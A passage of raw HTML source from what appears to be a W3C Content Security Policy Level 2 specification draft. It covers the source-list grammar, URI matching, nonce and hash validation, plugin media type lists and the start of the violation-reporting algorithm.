id=source-list0>source\n    list<a class=self-link href=#source-list0></a></dfn>, defined in the ABNF grammar below.</p>\n\n<p>Each <dfn data-dfn-type=dfn data-noexport=\"\" id=source-expression0>source expression<a class=self-link href=#source-expression0></a></dfn> in the source list represents a\n    location from which content of the specified type can be retrieved.\n    For example, the source expression <code>'none'</code> represents\n    the empty set of URIs, and the source expression\n    <code>'unsafe-inline'</code> represents content supplied inline in the\n    resource itself.</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=source-list>source-list<a class=self-link href=#source-list></a></dfn>       = *WSP [ <a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a> *( 1*WSP <a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a> ) *WSP ]\n                  / *WSP \"'none'\" *WSP\n<dfn data-dfn-type=dfn data-noexport=\"\" id=source-expression>source-expression<a class=self-link href=#source-expression></a></dfn> = <a data-link-type=dfn href=#scheme-source title=scheme-source>scheme-source</a> / <a data-link-type=dfn href=#host-source title=host-source>host-source</a> / <a data-link-type=dfn href=#keyword-source title=keyword-source>keyword-source</a> / <a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a> / <a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=scheme-source>scheme-source<a class=self-link href=#scheme-source></a></dfn>     = <a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a> \":\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-source>host-source<a class=self-link href=#host-source></a></dfn>       = [ <a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a> \"://\" ] <a data-link-type=dfn href=#host-part title=host-part>host-part</a> [ <a data-link-type=dfn href=#port-part title=port-part>port-part</a> ] [ <a data-link-type=dfn href=#path-part title=path-part>path-part</a> ]\n<dfn data-dfn-type=dfn data-noexport=\"\" id=keyword-source>keyword-source<a class=self-link href=#keyword-source></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\" / \"'unsafe-redirect'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=base64-value>base64-value<a class=self-link href=#base64-value></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=nonce-value>nonce-value<a class=self-link href=#nonce-value></a></dfn>       = <a data-link-type=dfn href=#base64-value title=base64-value>base64-value</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-value>hash-value<a class=self-link href=#hash-value></a></dfn>        = <a data-link-type=dfn href=#base64-value title=base64-value>base64-value</a>\n<dfn data-dfn-type=dfn data-noexport=\"\" id=nonce-source>nonce-source<a class=self-link href=#nonce-source></a></dfn>      = \"'nonce-\" <a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a> \"'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-algo>hash-algo<a class=self-link href=#hash-algo></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=hash-source>hash-source<a class=self-link href=#hash-source></a></dfn>       = \"'\" <a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a> \"-\" <a data-link-type=dfn href=#base64-value title=base64-value>base64-value</a> \"'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=scheme-part>scheme-part<a class=self-link href=#scheme-part></a></dfn>       = &lt;scheme production from <a href=http://tools.ietf.org/html/rfc3986#section-3.1>RFC 3986, section 3.1</a>&gt;\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-part>host-part<a class=self-link href=#host-part></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=dfn href=#host-char title=host-char>host-char</a> *( \".\" 1*<a data-link-type=dfn href=#host-char title=host-char>host-char</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=host-char>host-char<a class=self-link href=#host-char></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=path-part>path-part<a class=self-link href=#path-part></a></dfn>         = &lt;path production from <a href=http://tools.ietf.org/html/rfc3986#section-3.3>RFC 3986, section 3.3</a>&gt;\n<dfn data-dfn-type=dfn data-noexport=\"\" id=port-part>port-part<a class=self-link href=#port-part></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n\n<p>If the policy contains a <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    This requirement ensures that the <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n\n<p>The <code><a data-link-type=dfn href=#host-char title=host-char>host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc3492 title=biblio-rfc3492>[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.2.1 id=source-list-parsing><span class=secno>4.2.1 </span><span class=content>Parsing Source Lists</span><a class=self-link href=#source-list-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-a-source-list>parse a source list<a class=self-link href=#parse-a-source-list></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n\n      <ol>\n        <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace title=\"strip leading and trailing whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.</li>\n\n        <li>If <var>source list</var> is a case insensitive match\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.</li>\n\n        <li>Let <var>set of source expressions</var> be the empty\n        set.</li>\n\n        <li>For each token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces title=\"split a string on spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=dfn href=#source-expression title=source-expression>source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.</li>\n\n      <li>Return the <var>set of source expressions</var>.</li>\n      </ol>\n\n<p class=note>Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-encode title=\"percent encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.2.2 id=match-source-expression><span class=secno>4.2.2 </span><span class=content>Matching Source Expressions</span><a class=self-link href=#match-source-expression></a></h4>\n\n<p>A URI is said to <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-source-expression>match a source expression<a class=self-link href=#match-a-source-expression></a></dfn> if the following\n      algorithm returns <em>does match</em>:</p>\n\n      <ol>\n        <li>Normalize the URI according to\n        <a href=http://tools.ietf.org/html/rfc3986#section-6>Section 6 of\n        RFC3986</a>.</li>\n\n        <li>If the source expression a consists of a single U+002A ASTERISK\n        character (<code>*</code>), and the URI’s scheme is not of a type\n        designating a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>, (such as\n        <code>blob:</code>, <code>data:</code>, or <code>filesystem:</code>)\n        then return <em>does match</em>.</li>\n\n        <li>If the source expression matches the grammar for\n        <code><a data-link-type=dfn href=#scheme-source title=scheme-source>scheme-source</a></code>:\n          <ol>\n            <li>If the URI’s scheme is a case-insensitive match for the\n            source expression’s <code><a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a></code>, return\n            <em>does match</em>.</li>\n\n            <li>Otherwise, return <em>does not match</em>.</li>\n          </ol>\n        </li>\n        <li>If the source expression matches the grammar for\n        <code><a data-link-type=dfn href=#host-source title=host-source>host-source</a></code>:\n          <ol>\n            <li>If the URI does <strong>not</strong> contain a host, then\n            return <em>does not match</em>.</li>\n\n            <li>Let <var>uri-scheme</var>, <var>uri-host</var>, and\n            <var>uri-port</var> be the scheme, host, and port of the URI,\n            respectively. If the URI does not have a port, then let\n            <var>uri-port</var> be the default port for\n            <var>uri-scheme</var>. Let <var>uri-path</var> be\n            the path of the URI after\n            <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-decode title=\"percent decode\">decoding\n            percent-encoded characters</a>. If the URI does not have a\n            path, then let <var>uri-path</var> be the U+002F SOLIDUS\n            character (<code>/</code>).</li>\n\n            <li>If the source expression has a <code><a data-link-type=dfn href=#scheme-part title=scheme-part>scheme-part</a></code>\n            that is not a case insensitive match for <var>uri-scheme</var>,\n            then return <em>does not match</em>.</li>\n\n            <li>If the source expression does <strong>not</strong> have a\n            scheme, return <em>does not match</em> if\n              <ol>\n                <li>the scheme of the protected resource’s URI is a case\n                insensitive match for <code>HTTP</code>, and\n                <var>uri-scheme</var> is <strong>not</strong> a case\n                insensitive match for either <code>HTTP</code> or\n                <code>HTTPS</code></li>\n                <li>the scheme of the protected resource’s URI is\n                <strong>not</strong> a case insensitive match for\n                <code>HTTP</code>, and <var>uri-scheme</var> is\n                <strong>not</strong> a case insensitive match\n                for the scheme of the protected resource’s URI.</li>\n              </ol>\n            </li>\n\n            <li>If the first character of the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code> is an U+002A ASTERISK character\n            (<code>*</code>) and the remaining characters, including the\n            leading U+002E FULL STOP character (<code>.</code>), are not a\n            case insensitive match for the rightmost characters of\n            <var>uri-host</var>, then return <em>does not match</em>.</li>\n\n            <li>If the first character of the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code> is <em>not</em> an U+002A ASTERISK\n            character (<code>*</code>) and <var>uri-host</var> is not a\n            case insensitive match for the source expression’s\n            <code><a data-link-type=dfn href=#host-part title=host-part>host-part</a></code>, then return <em>does not\n            match</em>.</li>\n\n            <li>If the source expression does <strong>not</strong> contain\n            a <code>port-part</code> and <var>uri-port</var> is not the\n            default port for <var>uri-scheme</var>, then return <em>does not\n            match</em>.</li>\n\n            <li>If the source expression does contain a\n            <code>port-part</code>, then return <em>does not match</em> if\n              <ol>\n                <li><code><a data-link-type=dfn href=#port-part title=port-part>port-part</a></code> does <strong>not</strong>\n                contain an U+002A ASTERISK character (<code>*</code>),\n                and</li>\n\n                <li><code><a data-link-type=dfn href=#port-part title=port-part>port-part</a></code> does <strong>not</strong>\n                represent the same number as <var>uri-port</var>.</li>\n              </ol>\n            </li>\n\n            <li>If the source expression contains a non-empty\n            <code><a data-link-type=dfn href=#path-part title=path-part>path-part</a></code>, and the URI is <em>not</em> the\n            result of a redirect, then:\n              <ol>\n                <li>Let <var>decoded-path</var> be the result of\n                <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#percent-decode title=\"percent decode\">decoding\n                <code>path-part</code>’s percent-encoded characters</a>.</li>\n\n                <li>If the final character of <var>decoded-path</var> is\n                the U+002F SOLIDUS character (<code>/</code>), and\n                <var>decoded-path</var> is not a prefix of\n                <var>uri-path</var>, then return <em>does not\n                match</em>.</li>\n\n                <li>If the final character of <var>decoded-path</var> is\n                not the the U+002F SOLIDUS character (<code>/</code>),\n                and <var>decoded-path</var> is not an exact match for\n                <var>uri-path</var> then return <em>does not\n                match</em>.</li>\n              </ol>\n            </li>\n\n            <li>Otherwise, return <em>does match</em>.</li>\n          </ol>\n        </li>\n\n        <li>If the source expression is a case insensitive\n        match for <code>'self'</code> (including the quotation marks),\n        then:\n          <ol>\n            <li>Return <em>does match</em> if the URI has the same scheme,\n            host, and port as the protected resource’s URI (using the\n            default port for the appropriate scheme if either or both URIs\n            are missing ports).</li>\n          </ol>\n        </li>\n\n        <li>Otherwise, return <em>does not match</em>.</li>\n      </ol>\n\n<p>A URI is said to <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-source-list>match a source list<a class=self-link href=#match-a-source-list></a></dfn> if the following\n      conditions are met:</p>\n\n      <ol>\n        <li>\n          The URI <a data-link-type=dfn href=#match-a-source-expression title=\"match a source expression\">matches at least one\n          source expression</a> in the set of source expressions obtained by\n          <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the source list</a>.\n        </li>\n        <li>\n          At least one of the following is true:\n\n          <ol>\n            <li>\n              The URI is one of  <strong>not</strong> the result of a redirect.\n            </li>\n            <li>\n              The set of source expressions obtained by\n              <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the source list</a>\n              contains the source expression <code>'unsafe-redirect'</code>.\n            </li>\n            <li>\n              The source list is the U+002A ASTERISK character (<code>*</code>).\n            </li>\n          </ol>\n        </li>\n      </ol>\n\n<p class=note>Note: No URIs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n\n      <section class=informative>\n        <h5 class=\"heading settled heading\" data-level=4.2.2.1 id=source-list-guid-matching><span class=secno>4.2.2.1 </span><span class=content>\n          Security Considerations for GUID URI schemes\n        </span><a class=self-link href=#source-list-guid-matching></a></h5>\n\n<p><em>This section is not normative.</em></p>\n\n<p>As defined above, special URI schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URIs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> and <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URIs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URIs is equivalent to <code>unsafe-eval</code>.</p>\n      </section>\n\n      <section class=informative>\n        <h5 class=\"heading settled heading\" data-level=4.2.2.2 id=source-list-path-patching><span class=secno>4.2.2.2 </span><span class=content>Path Matching</span><a class=self-link href=#source-list-path-patching></a></h5>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n\n        <ol>\n          <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.</li>\n\n          <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.</li>\n\n          <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.</li>\n\n          <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.</li>\n        </ol>\n\n<p class=note>Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file?key=value</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n      </section>\n      <section class=informative>\n        <h5 class=\"heading settled heading\" data-level=4.2.2.3 id=source-list-paths-and-redirects><span class=secno>4.2.2.3 </span><span class=content>Paths and Redirects</span><a class=self-link href=#source-list-paths-and-redirects></a></h5>\n\n<p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html>Using Content-Security-Policy for Evil</a>,\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a data-link-type=dfn href=#img-src title=img-src>img-src</a> example.com not-example.com/path</code>:</p>\n\n        <ul>\n          <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.</li>\n          <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.</li>\n          <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.</li>\n        </ul>\n\n<p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n\n<p>The relatively long thread\n        <a href=http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html>\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n      </section>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.2.3 id=script-src-the-nonce-attribute><span class=secno>4.2.3 </span><span class=content>\n        The <code>nonce</code> attribute\n      </span><a class=self-link href=#script-src-the-nonce-attribute></a></h4>\n\n<p>Nonce sources require a new attribute to be added to both\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> and <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code>\n      elements: <code><dfn data-dfn-type=element-attr data-export=\"\" id=element-attrdef-nonce>nonce<a class=self-link href=#element-attrdef-nonce></a></dfn></code>.</p>\n\n      <pre class=idl>partial interface <a class=idl-code data-global-name=\"\" data-link-type=interface href=http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement title=htmlscriptelement>HTMLScriptElement</a> {\n  attribute DOMString <a class=idl-code data-global-name=\"HTMLScriptElement<interface>/nonce<attribute>\" data-link-for=HTMLScriptElement data-link-type=attribute data-type=\"DOMString \" href=#dom-htmlscriptelement-nonce title=nonce>nonce</a>;\n};\n</pre>\n      <dl data-dfn-for=HTMLScriptElement>\n        <dt><dfn class=idl-code data-dfn-for=HTMLScriptElement data-dfn-type=attribute data-export=\"\" id=dom-htmlscriptelement-nonce>nonce<a class=self-link href=#dom-htmlscriptelement-nonce></a></dfn></dt>\n        <dd>This attribute <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#reflect title=reflects>reflects</a> the value of the\n        element’s <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> content attribute.</dd>\n      </dl>\n      <pre class=idl>partial interface <a class=idl-code data-global-name=\"\" data-link-type=interface href=http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement title=htmlstyleelement>HTMLStyleElement</a> {\n  attribute DOMString <a class=idl-code data-global-name=\"HTMLStyleElement<interface>/nonce<attribute>\" data-link-for=HTMLStyleElement data-link-type=attribute data-type=\"DOMString \" href=#dom-htmlstyleelement-nonce title=nonce>nonce</a>;\n};\n</pre>\n      <dl data-dfn-for=HTMLStyleElement>\n        <dt><dfn class=idl-code data-dfn-for=HTMLStyleElement data-dfn-type=attribute data-export=\"\" id=dom-htmlstyleelement-nonce>nonce<a class=self-link href=#dom-htmlstyleelement-nonce></a></dfn></dt>\n        <dd>This attribute <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#reflect title=reflects>reflects</a> the value of the\n        element’s <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> content attribute.</dd>\n      </dl>\n\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.2.4 id=source-list-valid-nonces><span class=secno>4.2.4 </span><span class=content>Valid Nonces</span><a class=self-link href=#source-list-valid-nonces></a></h4>\n\n<p>An element has a <dfn data-dfn-type=dfn data-noexport=\"\" id=valid-nonce>valid nonce<a class=self-link href=#valid-nonce></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s\n      <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> attribute after\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace title=\"strip leading and trailing whitespace\">stripping\n      leading and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code> component of at least one\n      <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.2.5 id=source-list-valid-hashes><span class=secno>4.2.5 </span><span class=content>Valid Hashes</span><a class=self-link href=#source-list-valid-hashes></a></h4>\n\n<p>An <dfn data-dfn-type=dfn data-noexport=\"\" id=elements-content>element’s content<a class=self-link href=#elements-content></a></dfn> is <a data-link-spec=HTML5 data-link-type=dfn href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\" title=\"the script block’s source\">the script block’s\n      source</a> for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements, or the\n      value of the element’s\n      <code><a class=idl-code data-link-for=Node data-link-type=attribute href=http://dom.spec.whatwg.org/#dom-node-textcontent title=dom-node-textcontent>textContent</a></code>\n      IDL attribute for non-<code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements such as\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code>.</p>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=digest-of-elements-content>digest of <var>element</var>’s content<a class=self-link href=#digest-of-elements-content></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=dfn href=#elements-content title=\"element’s content\">element’s content</a>.</p>\n\n<p>To determine whether <var>element</var> has a <dfn data-dfn-type=dfn data-noexport=\"\" id=valid-hash>valid hash<a class=self-link href=#valid-hash></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n\n      <ol>\n        <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code> expressions in <var>set of source\n        expressions</var>.</li>\n\n        <li>For each <var>hash</var> in <var>hashes</var>:\n          <ol>\n            <li>Let <var>algorithm</var> be:\n              <ul>\n                <li><a data-link-type=dfn href=#sha-256 title=sha-256>SHA-256</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha256\"</li>\n\n                <li><a data-link-type=dfn href=#sha-384 title=sha-384>SHA-384</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha384\"</li>\n\n                <li><a data-link-type=dfn href=#sha-512 title=sha-512>SHA-512</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha512\"</li>\n              </ul>\n            </li>\n\n            <li>Let <var>expected</var> be the <code><a data-link-type=dfn href=#hash-value title=hash-value>hash-value</a></code>\n            component of <var>hash</var>.</li>\n\n            <li>Let <var>actual</var> be the\n            <a href=http://tools.ietf.org/html/rfc4648#section-4>base64\n            encoding</a> of the binary <a data-link-type=dfn href=#digest-of-elements-content title=\"digest of element’s content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.</li>\n\n            <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.</li>\n          </ol>\n        </li>\n        <li>Return <strong>false</strong>.</li>\n      </ol>\n\n<p class=note>Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n    </section>\n  </section>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=4.3 id=media-type-list><span class=secno>4.3 </span><span class=content>Media Type List</span><a class=self-link href=#media-type-list></a></h3>\n\n<p>The <code><a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=dfn data-noexport=\"\" id=media-type-list0>media type list<a class=self-link href=#media-type-list0></a></dfn>.</p>\n\n<p>Each <dfn data-dfn-type=dfn data-noexport=\"\" id=media-type0>media type<a class=self-link href=#media-type0></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> in the protected resource.</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=media-type-list1>media-type-list<a class=self-link href=#media-type-list1></a></dfn>   = <a data-link-type=dfn href=#media-type title=media-type>media-type</a> *( 1*WSP <a data-link-type=dfn href=#media-type title=media-type>media-type</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=media-type>media-type<a class=self-link href=#media-type></a></dfn>        = &lt;type from RFC 2045&gt; \"/\" &lt;subtype from RFC 2045&gt;\n</pre>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.3.1 id=media-type-list-parsing><span class=secno>4.3.1 </span><span class=content>Parsing</span><a class=self-link href=#media-type-list-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-a-media-type-list>parse a media type list<a class=self-link href=#parse-a-media-type-list></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n\n      <ol>\n        <li>Let the <var>set of media types</var> be the empty set.</li>\n\n        <li>For each token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces title=\"split a string on spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=dfn href=#media-type title=media-type>media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.</li>\n\n        <li>Return the <var>set of media types</var>.</li>\n      </ol>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=4.3.2 id=media-type-list-matching><span class=secno>4.3.2 </span><span class=content>Matching</span><a class=self-link href=#media-type-list-matching></a></h4>\n\n<p>A media type <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-media-type-list title=\"match a media type list\">matches a media type\n      list<a class=self-link href=#match-a-media-type-list></a></dfn> if, and only if, the media type is a case-insensitive match for\n      at least one token in the set of media types obtained by\n      <a data-link-type=dfn href=#parse-a-media-type-list title=\"parse a media type list\">parsing the media type list</a>.</p>\n    </section>\n  </section>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=4.4 id=violation-reports><span class=secno>4.4 </span><span class=content>Reporting</span><a class=self-link href=#violation-reports></a></h3>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=strip-uri-for-reporting title=\"strip uri for reporting|stripped for reporting\">strip\n    <var>uri</var> for reporting<a class=self-link href=#strip-uri-for-reporting></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>If the <a data-link-type=dfn href=#origin title=origin>origin</a> of <var>uri</var> is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.</li>\n\n      <li>If the <a data-link-type=dfn href=#origin title=origin>origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=dfn href=#origin title=origin>origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin title=\"ascii serialization of an origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.</li>\n\n      <li>Return <var>uri</var>, with any <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment title=fragment>fragment</a>\n      component removed.</li>\n    </ol>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=generate-a-violation-report-object title=\"generate a violation report object|generating a violation report object\">generate a violation report object<a class=self-link href=#generate-a-violation-report-object></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        <dl>\n          <dt id=violation-report-blocked-uri><a class=self-link href=#violation-report-blocked-uri></a>blocked-uri</dt>\n          <dd>The originally requested URI of the resource that was\n          prevented from loading, <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URI (inline script and\n          inline style, for example).</dd>\n\n          <dt id=violation-report-document-uri><a class=self-link href=#violation-report-document-uri></a>document-uri</dt>\n          <dd>The <a data-link-spec=HTML5 data-link-type=dfn href=\"http://www.w3.org/TR/html5/dom.html#the-document's-address\" title=\"the document’s address\">address</a>\n          of the protected resource, <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>.</dd>\n\n          <dt id=violation-report-effective-directive><a class=self-link href=#violation-report-effective-directive></a>effective-directive</dt>\n          <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=dfn 